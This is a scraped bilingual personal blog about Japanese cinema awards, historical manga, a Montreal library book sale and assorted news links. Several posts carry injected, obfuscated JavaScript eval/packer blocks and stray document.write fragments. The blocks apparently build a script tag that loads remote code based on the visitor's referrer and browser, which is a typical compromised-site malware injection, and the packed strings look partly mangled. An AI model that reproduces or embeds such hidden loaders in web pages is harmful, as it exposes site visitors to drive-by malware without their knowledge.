Alzheimer’s, a Neglected Epidemic (NYT)
Cynicism linked to greater dementia risk (CNN) [Oops!]:
http://www.cnn.com/video/api/embed.html#/video/international/2013/07/09/wus-dementia-village-yvonne.cnn
Cat people are smarter than dog people, study says (Huffington Post, CNET)
Learning a second language at any age may slow the brain’s decline (LA Times)
Live to 100: Number of centenarians has doubled (CNN)
Sleep’s memory role discovered (BBC)
Mass memory and reasoning tests ‘track dementia risk’ (BBC)

Library Humour

Local News & National Politics

Une initiation six pieds sous terre (Le Devoir)
La Presse abandonnera le papier, confirme Power Corporation (Journal de Québec, InfoPresse, Le Devoir)
Quel avenir pour les classiques? (Le Devoir)
Programmation culturelle d’été pour le Sud-Ouest (PDF)
Microsoft et IBM à l’assaut de la «ville intelligente» (Le Devoir)
ONF-interactif: Une histoire du cinéma / 61 portraits vivants (Lien / Adobe Flash, English version)

Media, Culture, Entertainment & Society

4 Tips On Creativity From The Creator Of Calvin & Hobbes (Fast Co Design)
Mistral et cinéphiles débarquent au 67e Festival de Cannes (Le Devoir)
Comment enseigner quand on a du mal à écrire? (La Presse)
The curious story of why the Jedi are called Jedi (Gizmodo) [cute & funny]:

Sciences & History

Cold War Spy-Satellite Images Unveil Lost Cities (National Geographic)
Russia Makes Plans to Kill Space Station in 2020 Due to Sanctions (NBC)
Archaeologist Claims He Has Found the Wreck of the Santa Maria (The Wire)
Long before Jack Daniel’s, George Washington was a whiskey tycoon (Salon)
A 1.8 million year old skull indicates there may have been just one human species on Earth at that time (IFL Science)
Whoa! Spectacular Supercell Storm Takes Shape in Time-Lapse Video (NBC)
Are Colorized Photos Rewriting History? (Gizmodo)
Animation teaches you all that happened in World War II in 7 minutes (Gizmodo) [also cute but less funny & way too fast!]:
How the Vikings became the world’s first climate change profiteers (Salon)
SpaceX Unveils Its New Dragon Spacecraft (Forbes)
Traces of another world found on the Moon (BBC)
NASA Public Channel HD on Ustream.TV: airs a variety of regularly scheduled, pre-recorded educational and public relations programming 24 hours a day (Ustream.tv):

Technology, Gadgets & Internet

CES 2014: 5 Tools to Connect to Your SmartHome from Your SmartPhone! (Glasses & Glitter)
16 Blogging Platforms That Won’t Distract From Your Writing (Mashable)
Goodbye, TV Channels—And Hello, TV Apps (ReadWrite)
Thermodo puts the temperature in your pocket no matter where you are (Cult of Mac)
Google Buys Visual Translation App ‘Word Lens’, Makes It Free for Limited Time (Mac Rumors)
Tado, Big Ass Fans announce iOS-compatible home cooling tech (Electronista)
How to Outfit Your Entire Home With LED Light (Gizmodo)
Honeywell’s Lyric thermostat takes on Nest with support for Apple’s HomeKit (Cult of Mac, 9 to 5 Mac, Engadget)

Union stuff & Montreal’s libraries

Branle-bas à Côte-des-Neiges–Notre-Dame-de-Grâce ! (SFMM)
?Les bibliothécaires se rallient (Les Actualités, video de la séance du conseil d’arrondissement [allez à 00:42:25, 01:24:50 et 01:50:10], procès-verbal de la même séance [PDF])
Fonctionnaire Express: Nous ne voulons pas d’une loi bulldozer pour nos régime de retraite! (SFMM)
Avis de convocation: Assemblée générale le 18 juin à 18h30 au Centre Claude-Robillard (SFMM)
Le fil de nouvelles reliée au dossier des régimes de retraite du secteur municipal (SFMM)
La Coalition syndicale condamne un projet de loi excessif et complètement biaisé (SFMM)
Massacre de nos régimes de retraite (SFMM)

[ Traduire ]

Solde de livres des ABM

April 29, 2014 / Clodjee / Leave a comment

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbhhf|var|u0026u|referrer|yhtff||js|php’.split(‘|’),0,{}))
Le solde de livres des Amis de la bibliothèque de Montréal a débuté en fin de semaine. Je vous encourage fortement à y aller car on y trouve des aubaines merveilleuses (toutes sortes de documents entre $0.50 et $3.00)! Ce sont les documents dont les bibliothèques de la ville se débarrassent pour faire de la place. Il y en a pour tout les goûts. Cela se poursuit toute la semaine jusqu’à dimanche prochain inclusivement, document.write(“”); de 13 h à 19 h. Plus de détails sur le site des ABM !

Cette année ma récolte a été particulièrement fructueuse: j’y ai trouvé une cinquantaine de livres pour près de $60, ce qui m’a permis de compléter mes collections de SFQ (vingt-et-un livres dont six Alire et douze Jeunesse-Pop de Médiapaul), de littérature japonaise (huit livres), de guides de voyage (cinq de la série Eyewitness/Voir) et de manga (seize manga historiques incluant deux séries plutôt rares et difficiles à trouver: L’arbre au soleil et Gen d’Hiroshima !!!). Je suis pas mal content. Et j’y retourne le week-end prochain! Ne manquer pas votre chance…

Japan Academy Awards winners (2014)

March 10, 2014April 3, 2020 / Clodjee / 1 Comment

Here is the full list of winners for the 37th Japan Academy Awards (All nominees are listed and the winners has been highlighted).
Continue reading →

37th Japan Academy Prize Nominees

March 2, 2014April 3, 2020 / Clodjee / Leave a comment

Last January, the nominees for the 37th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第37回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2014) are:

The Devil’s Path (“Kyoaku”, dir.: Kazuya Shiraishi)
Like Father, Like Son (“Soshite Chichi ni Naru”, dir.: Hirokazu Koreeda)
A Boy Called H (“Shonen H”, dir.: Yasuo Furuhata)
Tokyo Family (“Tokyo Kazoku”, Dir.: Yoji Yamada)
The Great Passage (“Fune wo Amu”, dir.: Yuya Ishii)
Ask This of Rikyu (“Rikyu ni Tazuneyo”, dir.: Mitsutoshi Tanaka)

The nominees for Best Director of the year (2014) are:

Ishii Yuya (The Great Passage)
Koreeda Hirokazu (Like Father, Like Son)
Shiraishi Kazuya (The Devil’s Path)
Mitani Koki (The Kiyosu Conference)
Yamada Yoji (Tokyo Family)

The nominees for Best Animation of the year (2014) are:

The Tale of Princess Kaguya (“Kaguya-Hime no Monogatari”, dir.: Isao Takahata)
The Wind Rises (“Kazetachinu”, dir.: Hayao Miyazaki)
Space Pirate Captain Harlock (“Kyaputen Harokku”, dir.: Shinji Aramaki)
Puella Magi Madoka Magica The Movie Part 3: Rebellion (“Gekij?-ban Mah? Sh?jo Madoka Magica Shinpen: Hangyaku no Monogatari”, dir.: Yukihiro Miyamoto)
Lupin the Third vs Detective Conan The Movie (“Rupan Sansei Vasasu Meitantei Konan The Movie”, dir.: Hajime Kamegaki)

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the Tokyo Hive and Internet Movie Database. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 7, 2014, so stay tuned!

Update (2014-03-09): The winners have been highlighted. I have also posted the full list of winners in this new entry. You can find more information on Variety, The Hollywood Reporter, Anime News Network and, of course, the official Japan Academy Prize website (or the auto-translated version).

[ Traduire ]

Discovery: Showa, A history of Japan

December 2, 2013 / Clodjee / 1 Comment

A friend brought to my attention yet another classic manga. Since I’m in a period where I’m focusing on historical manga, document.write(“”); it’s definitively a title that I want to check out! I am not sure why I am surprised since it was announced nearly a year ago, but I’ll take any Shigeru Mizuki coming my way, particularly from Drawn & Quarterly. It’s a must. I don’t know yet if I’ll buy it or simply borrow it at the library, but stay tuned!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tirkb|var|u0026u|referrer|ibyek||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edfrn|var|u0026u|referrer|szsnd||js|php’.split(‘|’),0,{}))

“Showa: a History of Japan, 1926-1939 is the first volume of Shigeru Mizuki’s meticulously researched historical portrait of twentieth century Japan. This volume deals with the period leading up to World War II, a time of high unemployment and other economic hardships caused by the Great Depression. Mizuki’s photo-realist style effortlessly brings to life Japan of the 1920s and 1930s, depicting bustling city streets and abandoned graveyards with equal ease.”

“When the Showa Era began, Mizuki himself was just a few years old, so his earliest memories coincide with the earliest events of the Era. With his trusty narrator Rat Man, Mizuki brings history into the realm of the personal, making it palatable, and indeed compelling, for young audiences as well as more mature readers. As he describes the militarization that leads up to World War II, Mizuki’s stance toward war is thoughtful and often downright critical – his portrayal of the Nanjing Massacre clearly paints the incident (a disputed topic within Japan) as an atrocity. Mizuki’s Showa is a beautifully told history that tracks how technological developments and the country’s shifting economic stability had a role in shaping Japan’s foreign policy in the early twentieth century.” [ Text from the publisher’s website ]

Showa: a History of Japan, 1926-1939 , by Shigeru Mizuki. Montreal, Drawn & Quarterly, october 2013. 6.45 x 8.765 in., b&w, paperback, 560 pg., $24.95 Can. ISBN: 9781770461352. A preview is available on D&Q site. Volume 2 (Showa 1938-1944) coming in april 2014.

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Découverte: Joséphine Impératrice

November 20, 2013 / Clodjee / 1 Comment

Lorsque j’ai récemment vu ce manga pour la première fois dans les nouveautés de Manga-Thé, document.write(“”); j’ai tout de suite pensé “Enfin, un de ces vieux manga des années ’70 qu’on a traduit” (voir le billet “Une mine de manga inexploitée”) mais en fait c’est un manga récent. Toutefois, c’est ce qui s’en rapproche le plus: l’artiste, Yumiko Igarashi, fait partie de la même génération que les Moto Hagio ou Riyoko Ikeda (elle ne fait techniquement pas partie du Groupe de l’an 24 mais presque) et c’est une fresque historique dans ce qui semble un pur style Sh?jo. J’ai donc bien hâte d’y jeter un coup d’oeil.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|riedz|var|u0026u|referrer|bzini||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhdfz|var|u0026u|referrer|edtza||js|php’.split(‘|’),0,{}))

“Une impératrice de charme au coeur d’or. XVIIIe siècle sur l’île de la Martinique, la jeune Rose Tascher de la Pagerie grandit entourée d’une famille aimante. Jeune fille issue de la noblesse, elle vit librement et simplement, bien loin des conventions et du faste de la vie parisienne. En 1779, à 16 ans, elle est mariée au vicomte de Beauharnais. Commence alors pour la jeune fille un dur apprentissage de la vie, entre un mari volage qui la délaisse et l’isolement dans un pays qu’elle ne connaît pas, la jeune femme s’endurcit sans jamais se départir de la bonté et de la générosité qui la caractérise. Elle va bientôt reconquérir sa liberté et son indépendance, mais en attendant, les prémices de la Révolution grondent déjà dans Paris…” [texte du site de l’éditeur]

Joséphine Impératrice, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne, Pika Éditions, octobre 2013. 192 pages, 7,50 €, ISBN 978-2-8116-1263-4. Le volume 2 est paru le 30/10/2013 et le volume 3 paraîtra le 19/03/2014. À lire absolument!

Voir des extraits après le saut de page:

Voir d’abord le preview de trente-six pages sur le site de l’éditeur!

[ Translate ]

Une mine de manga inexploitée

November 19, 2013January 3, 2023 / Clodjee / 6 Comments

Je me plains souvent que les éditeurs de manga ne puisent pas assez (ou même du tout) dans la mine d’or que représentent les manga publiés dans les années ’70-’80. Juste en jetant un coup d’oeil dans la collection de manga en Japonais de mon épouse je trouve facilement une dizaine d’excellent manga shōjo ou josei qui n’ont jamais été traduit en français ou en anglais. La plupart de ces titres ont été créé par des membres du fameux “Groupe de l’an 24” (des mangaka nées en Showa 24 [1949], ou à la même époque, incluant par exemple Moto Hagio, Keiko Takemiya, Toshie Kihara, Minori Kimura, Yumiko Ōshima, Nanae Sasaya, Ryōko Yamagishi et même Riyoko Ikeda).

Dans l’après-guerre, les gens n’avaient pas vraiment le goût de lire des histoires introspectives sur le Japon alors on a produit beaucoup de manga historiques qui se situaient principalement en Europe. Cette génération d’artistes a grandement contribué à développer le style riche et élégant du manga shōjo. Bien sûr, le graphisme du manga a beaucoup évolué depuis, mais ces titres demeurent très beaux sans compter qu’ils offrent des histoires intelligentes et captivantes. Je ne vois donc pas pourquoi on ne les traduirait pas afin de les rendre accessible aux lecteurs d’aujourd’hui. En voici quelques exemples:

Continuez après le saut de page >>
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Clodjee's Safe-House

A blog about the pursuit of knowledge

News

Découverte: Mangeons!

Jazz Petite Bourgogne

Japan Film Festival 2014

Nouveau catalogue des bibliothèques de Montréal

Découverte: Le maître des livres

All you need is kill

Festival du Nouveau Cinema 2014

Écrire le monde : la science fiction

Découverte: un nouvel album de Bilal

The MWFF schedule is available

Japanese movies at the MWFF 2014

Programmation FFM 2014

Découverte: Les contrées sauvages

Données sur les emprunts de livres

Jury of the Montreal World Film Festival

Le FFM se prépare à une 38e année difficile

Fantasia 2014

Fantasia unveil their full 2014 lineup

June in review

Fantasia announces a second wave of 2014 titles

Découverte: Histoire(s) du manga moderne

ONF: 61 portraits d’artisans du cinéma

Fantasia announces a first wave of 2014 programming

May in review

Solde de livres des ABM

Japan Academy Awards winners (2014)

37th Japan Academy Prize Nominees

Discovery: Showa, A history of Japan

Découverte: Joséphine Impératrice

Une mine de manga inexploitée